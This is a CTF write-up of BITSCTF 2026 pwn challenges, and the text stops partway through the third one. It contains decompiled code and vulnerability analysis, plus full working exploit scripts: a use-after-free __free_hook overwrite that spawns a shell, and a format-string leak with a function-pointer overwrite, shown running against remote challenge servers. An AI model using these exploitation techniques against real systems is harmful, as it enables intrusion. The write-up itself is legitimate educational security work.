Last week, I played BITSCTF 2026 with my team and I managed to sweep the Pwn category. It was a lot of fun, especially since I’m still relatively new to the scene. Each challenge was a solid learning experience and I definitely picked up some cool new tricks along the way.
Pwn
Cider Vault
Description
The Storybook Workshop keeps magical story cards in a fragile old vault. Caretakers can create cards, write words, read chapters, merge pages, and ring the moon bell.
Instancer: http://chals.bitskrieg.in/
Overview
We were provided with the binary, library, description, and docker files.
.├── cider_vault├── description.md├── docker-compose.yaml├── Dockerfile├── flag.txt├── ld-linux-x86-64.so.2├── libc.so.6└── run.sh
1 directory, 8 filesLet’s patch the binary.
chmod 755 cider_vault ld-linux-x86-64.so.2 libc.so.6pwninit --bin cider_vault --ld ld-linux-x86-64.so.2 --libc libc.so.6 --no-template --no-patch-binIt’s a 64-bit, dynamically linked, non-stripped binary with full protections
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: EnabledSHSTK: EnabledIBT: EnabledStripped: NoIt uses GLIBC version 2.31
strings libc.so.6 | rg 'Ubuntu'GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.18) stable release version 2.31.GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0With the protection and libc version keep in mind, we can start disassembling the binary.
Analysis
int __fastcall main(int argc, const char **argv, const char **envp){ _QWORD *v3; // rbx _QWORD *v4; // rax int v5; // ecx int v6; // edx int v7; // esi int v8; // edx unsigned int v9; // eax __int64 *v10; // rbx unsigned __int64 v11; // r13 __int64 v12; // r15 unsigned __int64 v13; // rbx ssize_t v14; // rax unsigned int v15; // eax __int64 *v16; // r13 unsigned int v17; // ebx unsigned int v18; // eax void **v19; // rbx const __m128i **v20; // r13 size_t v21; // r15 char *v22; // rax __m128i *v23; // rax const __m128i *v24; // rdx unsigned int v25; // eax void *v26; // rdi unsigned int v27; // eax const void **v28; // r13 size_t v29; // rdx unsigned int num; // eax _QWORD *v31; // r13 size_t v32; // rbx void *v33; // rax void *v35; // [rsp+8h] [rbp-40h]
setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("\x1B[38;5;213mstorybook-workshop\x1B[0m"); puts("\x1B[38;5;117mOnce upon a midnight, the workshop lamp stayed on.\x1B[0m"); puts("\x1B[38;5;117mPages still wake when someone whispers to the book.\x1B[0m"); puts("\x1B[38;5;228mFind the hidden ending before the moonlight fades.\x1B[0m"); while ( 1 ) { v3 = vats; __printf_chk(1, "\x1B[38;5;213m\n[Storybook Workshop]\x1B[0m "); v4 = vats; v5 = 0; do { v6 = v5 + 1; if ( *v4 ) { v7 = v5 + 2; ++v5; v6 = v7; } v4 += 2; } while ( v4 != (_QWORD *)16672 ); __printf_chk(1, "\x1B[38;5;228mChapter %d\x1B[0m ", v6); v8 = 0; do { v8 -= (*v3 == 0) - 1; v3 += 2; } while ( v3 != (_QWORD *)16672 ); __printf_chk(1, "\x1B[38;5;117m(cards alive: %d)\n\x1B[0m", v8); puts("\x1B[38;5;120m1) open page - start a fresh story page\x1B[0m"); puts("\x1B[38;5;120m2) paint page - pour ink onto a page\x1B[0m"); puts("\x1B[38;5;120m3) peek page - read what the page remembers\x1B[0m"); puts("\x1B[38;5;120m4) tear page - rip a page from the book\x1B[0m"); puts("\x1B[38;5;120m5) stitch pages - sew two pages into one tale\x1B[0m"); puts("\x1B[38;5;120m6) whisper path - retie where a page points\x1B[0m"); puts("\x1B[38;5;120m7) moon bell - ring the workshop bell\x1B[0m"); puts("\x1B[38;5;120m8) goodnight - close the storybook\x1B[0m"); puts("> "); switch ( get_num() ) { case 1LL: puts("page id:"); num = get_num(); if ( num > 0xB ) goto LABEL_37; v31 = &vats[2 * (int)num]; if ( *v31 ) goto LABEL_37; puts("page size:"); v32 = get_num(); if ( v32 - 128 > 0x4A0 ) goto LABEL_37; v33 = malloc(v32); *v31 = v33; if ( !v33 ) goto LABEL_42; v31[1] = v32; puts("ok"); continue; case 2LL: puts("page id:"); v9 = get_num(); if ( v9 > 0xB ) goto LABEL_37; v10 = &vats[2 * (int)v9]; if ( !*v10 ) goto LABEL_37; puts("ink bytes:"); v11 = get_num(); if ( v11 > v10[1] + 128 ) goto LABEL_37; puts("ink:"); v12 = *v10; v13 = 0; if ( !v11 ) goto LABEL_18; do { v14 = read(0, (void *)(v12 + v13), v11 - v13); if ( v14 <= 0 )LABEL_16: exit(0); v13 += v14; } while ( v11 > v13 );LABEL_18: puts("ok"); break; case 3LL: puts("page id:"); v27 = get_num(); if ( v27 > 0xB ) goto LABEL_37; v28 = (const void **)&vats[2 * (int)v27]; if ( !*v28 ) goto LABEL_37; puts("peek bytes:"); v29 = get_num(); if ( v29 > (unsigned __int64)v28[1] + 128 ) goto LABEL_37; write(1, *v28, v29); puts(""); continue; case 4LL: puts("page id:"); v25 = get_num(); if ( v25 > 0xB ) goto LABEL_37; v26 = (void *)vats[2 * (int)v25]; if ( !v26 ) goto LABEL_37; free(v26); puts("ok"); continue; case 5LL: puts("first page:"); v17 = get_num(); puts("second page:"); v18 = get_num(); if ( v18 > 0xB ) continue; if ( v17 > 0xB ) continue; v19 = (void **)&vats[2 * (int)v17]; if ( !*v19 ) continue; v20 = (const __m128i **)&vats[2 * (int)v18]; if ( !*v20 ) continue; v21 = (size_t)v19[1] + 32; v35 = v19[1]; v22 = (char *)realloc(*v19, v21); if ( !v22 )LABEL_42: exit(1); *v19 = v22; v23 = (__m128i *)&v22[(_QWORD)v35]; v24 = *v20; *v23 = _mm_loadu_si128(*v20); v23[1] = _mm_loadu_si128(v24 + 1); v19[1] = (void *)v21; puts("ok"); continue; case 6LL: puts("page id:"); v15 = get_num(); if ( v15 <= 0xB && (v16 = &vats[2 * (int)v15], *v16) ) { puts("star token:"); *v16 = get_num() ^ 0x51F0D1CE6E5B7A91LL; puts("ok"); } else {LABEL_37: puts("no"); } continue; case 7LL: _IO_wfile_overflow(stderr, 88); goto LABEL_18; case 8LL: goto LABEL_16; default: puts("?"); continue; } }}It provides a menu to manage a global array vats (located in .bss ) of 12 “pages”, where each page holds a pointer to a dynamically allocated heap chunk and its allocated size.
From this line of codes
puts("page id:");num = get_num();if ( num > 0xB ) goto LABEL_37;v31 = &vats[2 * (int)num];if ( *v31 ) goto LABEL_37;puts("page size:");v32 = get_num();if ( v32 - 128 > 0x4A0 ) goto LABEL_37;v33 = malloc(v32);*v31 = v33;if ( !v33 ) goto LABEL_42;v31[1] = v32;v31 is 2 byte variable which makes the internal structure array essentially looks like:
struct Page { void *ptr; size_t size;} vats[12];The menu options allow the user to allocate open page, write paint page, read peek page, free tear page, reallocate stitch pages,
and overwrite array pointers whisper path. Additionally, there is a
moon bell function that triggers an explicit _IO_wfile_overflow call on
stderr.
Vulnerabilities
1. UAF
case 4LL: puts("page id:"); v25 = get_num(); if ( v25 > 0xB ) goto LABEL_37; v26 = (void *)vats[2 * (int)v25]; if ( !v26 ) goto LABEL_37;
free(v26); puts("ok"); continue;In tear page option, the memory is freed but the pointer is not cleared, so it can be used for UAF.
Exploit Strategy
1. Libc Leak
In open page option, we can allocate a memory up to 0x520 bytes, so we can allocated unsorted bin size, free it and read the content to leak libc address which is main_arena+96 for unsorted bin.
open_page(0, 0x420)open_page(1, 0x100) # prevent top consolidationtear_page(0)peek_page(0, 8)Because the Libc version is 2.31, the __free_hook is available and tcache doesn’t have safe linking protection. Now we need to find a write primitive.
2. Write Primitive
The option 6 whisper path can be used to overwrite the array pointer.
case 6LL: puts("page id:"); v15 = get_num(); if ( v15 <= 0xB && (v16 = &vats[2 * (int)v15], *v16) ) { puts("star token:");
*v16 = get_num() ^ 0x51F0D1CE6E5B7A91LL; puts("ok"); } else {LABEL_37: puts("no"); } continue;It will replace the chosen array pointer with an input xored with 0x51F0D1CE6E5B7A91.
We can use it to replace our chosen array pointer with the address of __free_hook then use pain page to write libc system address to it.
Then free a page that has /bin/sh\x00 content to spawn a shell.
Note
The program validates sizes during paint page write and peek page
read, but the checks intentionally allow an extra 128 bytes of out-of-
bounds
access past the requested size.
...if ( ink_bytes > vats[2 * id + 1] + 128 ) goto LABEL_37;This permits both a Heap Buffer Overflow 128 bytes and an OOB Read 128 bytes. But we don’t need it because we already have UAF
I think my exploit is unintended because we have AAR, AAW, and option 7 moon beel that call _IO_wfile_overflow(stderr, 88) which can be used for FSOP.
Either way, here is my exploit:
# GLIBC 2.31 no safe linking and hooks are available# UAF -> __free_hook overwritefrom pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug( [exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw ) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
def open_page(pid, size): p.sendlineafter(b"> \n", b"1") p.sendlineafter(b"id:\n", str(pid).encode()) p.sendlineafter(b"size:\n", str(size).encode())
def paint_page(pid, size, content): p.sendlineafter(b"> \n", b"2") p.sendlineafter(b"id:\n", str(pid).encode()) p.sendlineafter(b"bytes:\n", str(size).encode()) p.sendafter(b"ink:\n", content)
def peek_page(pid, size): p.sendlineafter(b"> \n", b"3") p.sendlineafter(b"id:\n", str(pid).encode()) p.sendlineafter(b"bytes:\n", str(size).encode()) return p.recv(size)
def tear_page(pid): p.sendlineafter(b"> \n", b"4") p.sendlineafter(b"id:\n", str(pid).encode())
def whisper_path(pid, target): p.sendlineafter(b"> \n", b"6") p.sendlineafter(b"id:\n", str(pid).encode()) p.sendlineafter(b"token:\n", str(target ^ 0x51F0D1CE6E5B7A91).encode())
gdbscript = """init-gefcontinue""".format(**locals())
exe = "./cider_vault_patched"elf = context.binary = ELF(exe, checksec=False)context.terminal = [ "zellij", "action", "new-pane", "-d", "right", "-c", "--", "bash", "-c",]
p = start()libc = ELF("./libc.so.6", checksec=False)context.log_level = "info"
open_page(0, 0x410)open_page( 1, 0x100) # For prevent consolidation and overwrite chunk ptr using whisper_pathopen_page(2, 0x100) # For triggering __free_hooktear_page(0)
main_arena_leak = unpack(peek_page(0, 8).ljust(8, b"\x00"))libc.address = main_arena_leak - 0x1ECBE0log.info(f"Main Arena Leak : {hex(main_arena_leak)}")log.info(f"Libc Base : {hex(libc.address)}")log.info(f"Free Hook : {hex(libc.sym['__free_hook'])}")
whisper_path(1, libc.sym["__free_hook"]) # Overwrite chunk_ptr in global arraypaint_page( 1, 8, p64(libc.sym["system"])) # Now we can write directory to the __free_hook
paint_page(2, 8, b"/bin/sh\x00")tear_page(2)
p.interactive()python solve.py REMOTE chals.bitskrieg.in 48370[+] Opening connection to chals.bitskrieg.in on port 48370: Done[*] Main Arena Leak : 0x7f249105bbe0[*] Libc Base : 0x7f2490e6f000[*] Free Hook : 0x7f249105de48[*] Switching to interactive mode$ cat flag.txtBITSCTF{afb206230c368f8c1adc2def2fc1f5cb}Orbital Relay
Description
An emergency relay node is still online after a key-rotation failure. The uplink accepts only framed packets with session integrity checks, and drops malformed traffic silently.
Blue team reports indicate the attacker never bypassed crypto directly, but still obtained execution in the relay process.
nc 20.193.149.152 1339
Overview
We were provided with the binary, library, description, and docker files.
├── description.md├── docker-compose.yaml├── Dockerfile├── flag.txt├── orbital_relay└── run
1 directory, 6 filesIt’s a 64-bit, dynamically linked, non-stripped binary with full protections
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: EnabledSHSTK: EnabledIBT: EnabledStripped: NoThe description has additional information about protocol specification.
# Orbital Relay
An emergency relay node is still online after a key-rotation failure. The uplink accepts only framed packets with session integrity checks, and drops malformed traffic silently.
Blue team reports indicate the attacker never bypassed crypto directly, but still obtained execution in the relay process.
## Protocol Spec (Basic)- Transport: raw TCP stream.- Handshake: client must send exact ASCII `SYNCv3?` (7 bytes). Server replies with a 4-byte session value.- Framing: each message is: - `chan` (`u8`) - `flags` (`u8`) - `len` (`u16`, little-endian) - `mac` (`u32`, little-endian) - `payload` (`len` bytes)- Integrity: every frame must include a valid session-bound `mac`, or it is ignored.
## Channels- `chan=3`: auth/setup channel.- `chan=1`: diagnostics TLV channel.- `chan=2`: ticket processing channel.- `chan=9`: session teardown.
## TLV Format (chan=1)- Payload is a sequence of: - `tag` (`u8`) - `size` (`u8`) - `value` (`size` bytes)- Common tags: - `0x10`: route/config blob - `0x22`: level/state byte - `0x30`: 4-byte state token - `0x31`: 8-byte relay field - `0x40`: emit/apply actionAccording to the description this won’t be a pure pwn challenge, but it has some crypto involved. With the description and protections in mind, we can start analyzing the binary.
Analysis
int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // eax char v5; // r8 unsigned __int16 v6; // bx size_t v7; // rdi _DWORD *v8; // rax _DWORD *v9; // rbp void (*v10)(void); // rax _BYTE v11[2]; // [rsp+8h] [rbp-40h] BYREF unsigned __int16 v12; // [rsp+Ah] [rbp-3Eh] int v13; // [rsp+Ch] [rbp-3Ch] _QWORD v14[7]; // [rsp+10h] [rbp-38h] BYREF
v14[1] = __readfsqword(0x28u); setbuf(stdin, nullptr); setbuf(stdout, nullptr); setbuf(stderr, nullptr); qword_406E = 0; qword_40E4 = 0; memset( (void *)((unsigned __int64)&unk_4076 & 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * (((unsigned int)&qword_406E - (unsigned int)((unsigned __int64)&unk_4076 & 0xFFFFFFFFFFFFFFF8LL) + 126) >> 3)); v14[0] = 0; qmemcpy(&st, "relay://status", 14); readn(v14, 7);
if ( LODWORD(v14[0]) == 1129208147 && *(_DWORD *)((char *)v14 + 3) == 1060337219 ) { sess = 1145258561; LODWORD(qword_40E4) = 673332004; dword_40E0 = mix32(991242259, &sess); cb_enc = enc_cb(noop); write(1, &sess, 4u); while ( 1 ) { readn(v11, 8); v6 = v12; if ( v12 > 0x500u ) break; v7 = 1; if ( v12 ) v7 = v12; v8 = malloc(v7); v9 = v8; if ( !v8 ) break; if ( v6 ) { readn(v8, v6); v6 = v12; } v4 = mac32(v9, v6, v11[0], v11[1], v11[0]); if ( v13 == v4 ) { switch ( v5 ) { case 3: if ( v6 == 4 && ((unsigned int)mix32(sess ^ (unsigned int)qword_40E4, v6) ^ 0x31C3B7A9) == *v9 ) WORD2(qword_40E4) = 257; break; case 1: handle_diag(v9, v6); break; case 2: handle_ticket(v9, v6); break; case 9: if ( BYTE5(qword_40E4) && BYTE4(qword_40E4) > 2u ) { v10 = (void (*)(void))enc_cb(cb_enc); v10(); } free(v9); return 0; } } free(v9); } } return 0;}The program will accept 7 bytes user input and check if it is equal to 1129208147 and user input + 3 equal to 1060337219. This just check if the user input match SYNCv3? or not because the previous values are just the litte endian representation of SYNCv3?.
After that it will print sess value to the stdout, this value is hardcoded to 1145258561 or ABCD in string. After that, it will call mix32(991242259, &sess).
dword_40E0 = mix32(991242259, &sess);__int64 __fastcall mix32(int a1){ return a1 ^ (a1 << 13) ^ ((a1 ^ (unsigned int)(a1 << 13)) >> 17) ^ (32 * (a1 ^ (a1 << 13) ^ ((a1 ^ (unsigned int)(a1 << 13)) >> 17)));}Looks like mix32 only accepts one argument so the sess won’t contribute anything. Because the first argument is hardoced 991242259 we can just reconstruct the logic.
def mix32(x): x &= 0xFFFFFFFF x ^= (x << 13) & 0xFFFFFFFF x ^= (x >> 17) & 0xFFFFFFFF x ^= (x << 5) & 0xFFFFFFFF return xWe mask it with 0xFFFFFFFF to ensure the result is a 32-bit integer.
The dword_40E0 and qword_40E4are crucial because it will be used inside enc_cb function.
// Alternative name is 'dec_cb'unsigned __int64 __fastcall enc_cb(__int64 a1){ return (unsigned int)qword_40E4 ^ a1 ^ ((unsigned __int64)(unsigned int)dword_40E0 << 32) ^ 0x9E3779B97F4A7C15LL;}Because both are hardcoded values, we can just reconstruct the logic for future use.
def enc_cb(a1, qword_lower, dword): return (qword_lower ^ a1 ^ (dword << 32) ^ 0x9E3779B97F4A7C15) & 0xFFFFFFFFFFFFFFFFWe mask it with 0xFFFFFFFFFFFFFFFF to ensure the result is a 64-bit unsigned integer.
After that, the program will accepts 8 bytes user input. We can refer to the previous description for the bytes frame.
- Framing: each message is: - `chan` (`u8`) - `flags` (`u8`) - `len` (`u16`, little-endian) - `mac` (`u32`, little-endian) - `payload` (`len` bytes)The current pseudocode is hard to read, so I will create a struct type.
struct message_header{ unsigned __int8 chan; unsigned __int8 flags; unsigned __int16 len; unsigned __int32 mac;};Now it becomes much easier to read.
while ( 1 ) { readn(&header, 8); len = header.len; if ( header.len > 0x500u ) break; v7 = 1; if ( header.len ) v7 = header.len; payload = malloc(v7); ref_payload = payload; if ( !payload ) break; if ( len ) { readn(payload, len); len = header.len; } v4 = mac32(ref_payload, len, header.chan, header.flags, header.chan);
if ( header.mac == v4 ) { switch ( v5 ) { case 3: if ( len == 4 && ((unsigned int)mix32(sess ^ (unsigned int)qword_40E4) ^ 0x31C3B7A9) == *ref_payload ) WORD2(qword_40E4) = 257; break; case 1: handle_diag(ref_payload, len); break; case 2: handle_ticket(ref_payload, len); break; case 9: if ( BYTE5(qword_40E4) && BYTE4(qword_40E4) > 2u ) { v10 = (void (*)(void))enc_cb(cb_enc); v10(); } free(ref_payload); return 0; } } free(ref_payload); }It will try to allocate memory for the payload and read the payload from the user input. After that it will check if the mac is valid. If it is valid, it will call the handle_diag, handle_ticket, or enc_cb function based on the chan value.
Again, we can just reconstruct the mac32 function.
__int64 __fastcall mac32(unsigned __int8 *a1, __int64 a2, unsigned __int8 a3, unsigned __int8 a4){ __int64 result; // rax unsigned __int8 *v5; // rsi int v6; // edx
result = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9; if ( a2 ) { v5 = &a1[a2]; do { v6 = *a1++; result = (unsigned int)(v6 + 61) ^ __ROL4__(result, 7); } while ( v5 != a1 ); } return result;}def mac32(payload, a3, a4, sess): res = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9 for b in payload: res = ((res << 7) | (res >> (32 - 7))) & 0xFFFFFFFF res ^= (b + 61) & 0xFFFFFFFF return resChannel 1 is using the payload as the TLV.
## TLV Format (chan=1)- Payload is a sequence of: - `tag` (`u8`) - `size` (`u8`) - `value` (`size` bytes)- Common tags: - `0x10`: route/config blob - `0x22`: level/state byte - `0x30`: 4-byte state token - `0x31`: 8-byte relay field - `0x40`: emit/apply actionvoid __fastcall handle_diag(char *a1, unsigned __int16 a2){ int v2; // r10d char v3; // al int v4; // ebx int v5; // ebp __int64 v6; // r9 int v7; // ebx int v8; // edx __int64 v9; // rcx unsigned int v10; // r11d char v11; // al char v12; // r8 __int64 v13; // rcx
if ( a2 > 1u ) { v2 = (unsigned __int8)a1[1]; v3 = *a1; v4 = v2; if ( a2 >= v2 + 2 ) { v5 = 2; v6 = 2; do {
if ( v3 == 0x10 && (v4 & 0x80u) == 0 ) { if ( (_BYTE)v4 ) { LODWORD(v9) = 0; v10 = qword_40E4 ^ dword_40E0; do { v11 = kbyte(v10, v9); *((_BYTE *)&st + v13) = v11 ^ v12; v9 = v13 + 1; } while ( (unsigned __int8)v4 != v9 ); } v7 = v5 + v4; *((_BYTE *)&st + v2) = 0; if ( (unsigned __int16)v7 + 1 >= a2 ) return; } else {
if ( v3 == 0x22 && (_BYTE)v4 ) { BYTE4(qword_40E4) = a1[(unsigned __int16)v5] & 7; } else if ( v3 == 0x30 && (_BYTE)v4 == 4 ) { dword_40E0 ^= mix32(*(_DWORD *)&a1[(unsigned __int16)v5] + (int)qword_40E4); } else if ( v3 == 0x31 && (_BYTE)v4 == 8 ) { cb_enc = *(_QWORD *)&a1[(unsigned __int16)v5]; } else if ( v3 == 0x40 && BYTE5(qword_40E4) && BYTE4(qword_40E4) > 1u ) { __printf_chk(2, &st, (unsigned int)dword_40E0, &st, keep_win, v6); puts(byte_2036); } v7 = v5 + v4; if ( (unsigned __int16)v7 + 1 >= a2 ) return; } v5 = v7 + 2; v6 = (unsigned __int16)(v7 + 2); v3 = a1[(unsigned __int16)v7]; v2 = (unsigned __int8)a1[(unsigned __int16)(v7 + 1)]; v8 = (unsigned __int16)(v7 + 2) + v2; v4 = v2; } while ( v8 <= a2 ); } }}Certain commands require the server to be in an elevated state before they can run. Specifically, the server checks if BYTE4 and BYTE5 of
qword_40E4 are set to specific values.
• Command Type 3 (Auth): If we send Command 3 with a payload matching a specific mathematical formula mix32(sess ^ qword_40E4) ^ 0x31C3B7A9, the server sets BYTE4=1 and BYTE5=1 .
• Command Type 1, Tag 34 0x22: In the TLV parser, Tag 34 allows us to directly overwrite BYTE4 of qword_40E4 with Payload[0] & 7 .
By chaining these two commands, we can easily bypass all internal authorization checks required for the later stages.
Vulnerabilities
1. Format String
The Diagnostic TLV parser has two tags that create a Format String Vulnerability:
• Tag 16 0x10: Reads an encrypted string from the payload, decrypts it using a custom stream cipher kbyte, and writes it into a global string buffer st 0x4060. Because we know the predictable cryptographic state, we can pre-encrypt any string we want %p %p %p so it decrypts perfectly into st.
• Tag 64 0x40: Triggers a debugging function that calls printf(st, dword_40E0, st, keep_win).
Because we fully control the format string st, we can insert format specifiers like %p to print the values of CPU registers.
In Linux x86-64, the 4th argument to printf is stored in the r8 register.
Notice that the 4th argument passed here is keep_win. keep_win is a global variable that holds the relocated, actual memory address of the win() function.
By sending the decrypted payload %p %p %p to the server, printf will output three pointers. The third pointer printed will be the leaked address of win(). We can subtract its static offset 0x1630 to calculate the exact random base address of the binary in memory.
2. Arbitrary Function Pointer Overwrite
Now that we know exactly where the win() function is located, we need a way to force the program to execute it.
The TLV parser contains a critical flaw in Tag 49 0x31:
• If Tag 49 receives a payload of exactly 8 bytes, it directly copies those 8 bytes into a global function pointer named cb_enc. No bounds checking or validation is performed on what is written here.
Exploit Strategy
Finally, the server implements Command Type 9. When triggered, Command 9 does the following:
- Reads the function pointer from
cb_enc. - Decrypts the pointer using a custom XOR cipher
enc_cb. - Executes the decrypted pointer.
The enc_cb decryption routine simply XORs the pointer with qword_40E4 ^ (dword_40E0 << 32) ^ 0x9E3779B97F4A7C15.
Since we know all of these constants, and we now know the address of win(), we can perform the XOR operation backwards to encrypt the win() address.
We then use Tag 49 to write our encrypted win() address into cb_enc.
When we send Command 9, the server decrypts our pointer (turning it back into the valid win() address) and jumps to it, printing the flag.
Here’s the exploit script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug( [exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw ) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
def sl(data): p.sendline(data)
def sla(after, data): p.sendlineafter(after, data)
def s(data): p.send(data)
def sa(after, data): p.sendafter(after, data)
def mac32(payload, a3, a4, sess): res = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9 for b in payload: res = ((res << 7) | (res >> (32 - 7))) & 0xFFFFFFFF res ^= (b + 61) & 0xFFFFFFFF return res
def mix32(x): x &= 0xFFFFFFFF x ^= (x << 13) & 0xFFFFFFFF x ^= (x >> 17) & 0xFFFFFFFF x ^= (x << 5) & 0xFFFFFFFF return x
def kbyte(state, i): return mix32((state + i * 0x45D9F3B) & 0xFFFFFFFF) & 0xFF
def enc_cb(a1, qword_lower, dword): return (qword_lower ^ a1 ^ (dword << 32) ^ 0x9E3779B97F4A7C15) & 0xFFFFFFFFFFFFFFFF
def send_pkt(io, cmd_type, payload, a4=0, sess=0x44434241): payload_len = len(payload) mac = mac32(payload, cmd_type, a4, sess)
header = p8(cmd_type) + p8(a4) + p16(payload_len) + p32(mac) io.send(header + payload)
gdbscript = """init-gefcontinue""".format(**locals())
exe = "./orbital_relay"elf = context.binary = ELF(exe, checksec=False)context.terminal = [ "zellij", "action", "new-pane", "-d", "right", "-c", "--", "bash", "-c",]
p = start()# libc = ELF("./libc.so.6", checksec=False)context.log_level = "info"
# 1. Handshakep.send(b"SYNCv3?")sess_bytes = p.recvn(4)sess = u32(sess_bytes)log.success(f"Session ID: {hex(sess)}")
# Internal state constantsqword_40E4_init = 0x28223B24dword_40E0_init = mix32(0x3B152813) # 0x5CF7E418
# 2. Set WORD2(qword_40E4) = 257 (BYTE4=1, BYTE5=1) using Cmd 3payload_cmd3 = (mix32(sess ^ qword_40E4_init) ^ 0x31C3B7A9) & 0xFFFFFFFFsend_pkt(p, 3, p32(payload_cmd3), 0, sess)
qword_40E4 = qword_40E4_init | (0x0101 << 32)
# 3. Format string to leak PIE# We send Command 1 (Diag) with TLV payload# Tag 34 (0x22): set BYTE4 to 7tlv_34 = p8(0x22) + p8(1) + p8(7)
# Tag 16 (0x10): write to `st`# We need to encrypt the payload with `kbyte`fmt_str = b"%p %p %p"tlv_16_payload = bytearray()
# kbyte state: (qword_40E4_lower ^ dword_40E0)kbyte_state = (qword_40E4 & 0xFFFFFFFF) ^ dword_40E0_initfor i, b in enumerate(fmt_str): k = kbyte(kbyte_state, i) tlv_16_payload.append(b ^ k)
tlv_16 = p8(0x10) + p8(len(fmt_str)) + tlv_16_payload
# Tag 64 (0x40): trigger printftlv_64 = p8(0x40) + p8(0)
diag_payload = tlv_34 + tlv_16 + tlv_64send_pkt(p, 1, diag_payload, 0, sess)
# The output will be: `0x... 0x... 0x...`leak_str = p.recvline().strip()try: leak_parts = leak_str.split(b" ") keep_win_addr = int(leak_parts[-1], 16) log.success(f"Leaked keep_win_addr: {hex(keep_win_addr)}")except (ValueError, IndexError): log.error(f"Failed to parse leak: {leak_str}") exit(1)
pie_base = keep_win_addr - 0x1630log.success(f"PIE base: {hex(pie_base)}")win_addr = pie_base + 0x1630
# 4. Overwrite cb_enc (Tag 49 / 0x31)# The current state of qword_40E4 has BYTE4=7, BYTE5=1.# Lower 32 bits are still 0x28223B24.encrypted_win = enc_cb(win_addr, qword_40E4_init, dword_40E0_init)
tlv_49 = p8(0x31) + p8(8) + p64(encrypted_win)send_pkt(p, 1, tlv_49, 0, sess)
# 5. Execute (Command 9)send_pkt(p, 9, b"", 0, sess)
p.interactive()python solve.py REMOTE 20.193.149.152 1339[+] Opening connection to 20.193.149.152 on port 1339: Done[+] Session ID: 0x44434241[+] Leaked keep_win_addr: 0x632586c56630[+] PIE base: 0x632586c55000[*] Switching to interactive modeBITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}Midnight Relay
Description
A fallback relay was brought online during a midnight outage.
nc 20.193.149.152 1338
Overview
We were provided with the binary, library, description, and docker files.
.├── description.md├── docker-compose.yaml├── Dockerfile├── flag.txt├── midnight_relay└── run
1 directory, 6 filesIt is a 64-bit, dynamically linked, non-stripped binary with full protections enabled.
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: EnabledSHSTK: EnabledIBT: EnabledStripped: NoAccording to the challenge description:
# Midnight Relay
A fallback relay was brought online during a midnight outage.
## Protocol Spec- Transport: raw TCP stream.- Banner: `midnight-relay\n`.- Packet format: - `op` (`u8`) - `key` (`u8`) - `len` (`u16`, little-endian) - `payload` (`len` bytes)- Integrity: - `key` is a 1-byte checksum of payload with an internal rolling epoch. - Invalid key packets are dropped silently.The server processes a custom protocol continuously. It accepts 4-byte packet headers followed by a payload length. It has a custom checksum implemented via a global epoch variable state which rotates on successful payload execution.
Analysis
First, the server will read the cookie variable from /dev/urandom
... v3 = open("/dev/urandom", 0); if ( v3 >= 0 ) { v37 = v3; if ( read(v3, &cookie, 8u) != 8 )
*(_QWORD *)&cookie = 0x74776F5F73756ELL; close(v37); } else {
*(_QWORD *)&cookie = 0x74776F5F73756ELL; } srand(cookie); write(1, "midnight-relay\n", 0xFu);Then it enters a continuous while ( 1 ) loop that accepts user structures.
To make things readable we can define a message header struct:
struct message_header{ unsigned __int8 op; unsigned __int8 key; unsigned __int16 len;};The loop will read the 4 byte header, allocate len bytes for the payload using calloc, read the payload, and finally check the checksum key to the calculated value.
if ( header.len ) { v11 = payload; v12 = epoch; do
v12 = *v11++ ^ (v12 >> 2) ^ (8 * v12) ^ 0x71; // calc checksum while ( &payload[header.len] != v11 ); if ( header.key != (_BYTE)v12 ) goto LABEL_6; goto LABEL_16; }If the checksum is correct, it updates the epoch:
...epoch ^= (cmd << 9) | 0x5F;With the checksum bypassed, we can look at the command operations inside the loop. The 0x11 (forge) command caught my eye.
case 0x11u: // Forge if ( v7 > 3u ) { v14 = *(_WORD *)(payload + 1); v15 = payload[3]; if ( (unsigned __int16)(v14 - 128) <= 0x4A0u && !*((_QWORD *)&slots + 2 * (*payload & 0xF)) ) { v40 = *payload & 0xF; v39 = payload[3]; if ( v14 >= v15 && v7 >= (unsigned __int16)(v15 + 4) ) { v16 = v14; v38 = *(_WORD *)(payload + 1);
v17 = (char *)calloc(1u, v14 + 32LL); // Vulnerability v18 = (char *)&slots + 16 * v40; *(_QWORD *)v18 = v17; if ( !v17 ) goto LABEL_58; qmemcpy(v17, payload + 4, v39); v18[10] = 0;
v19 = (__int64 *)&v17[v16]; // Metadata offset *((_WORD *)v18 + 4) = v38; v20 = (unsigned int)rand(); v21 = rand(); v19[2] = (__int64)v17; // m2 = heap ptr v22 = v21 ^ (unsigned __int64)(v20 << 32); v23 = *(_QWORD *)&cookie ^ ((unsigned __int64)v19 >> 12) ^ 0x48454C494F5300FFLL; v19[3] = v22; // m3 = rand *v19 = v23; // m0 = cookie ^ ... v19[1] = v22 ^ v23 ^ (unsigned __int64)idle ^ ((unsigned __int64)v19 >> 13); // m1 goto LABEL_28; } } }When allocating a new slot, the binary uses calloc(1, size + 32) but internally processes the main data length tracking at size. At the very end of the chunk (&v17[v16]), the binary stores obfuscated metadata utilizing variables such as the secret cookie and the internal static address of idle.
Because of how it aligns memory, we can interact with that metadata via the 0x22 and 0x33 observe and tune commands.
Vulnerabilities
There are two critical vulnerabilities in the binary:
1. Out-of-Bounds Read and Write
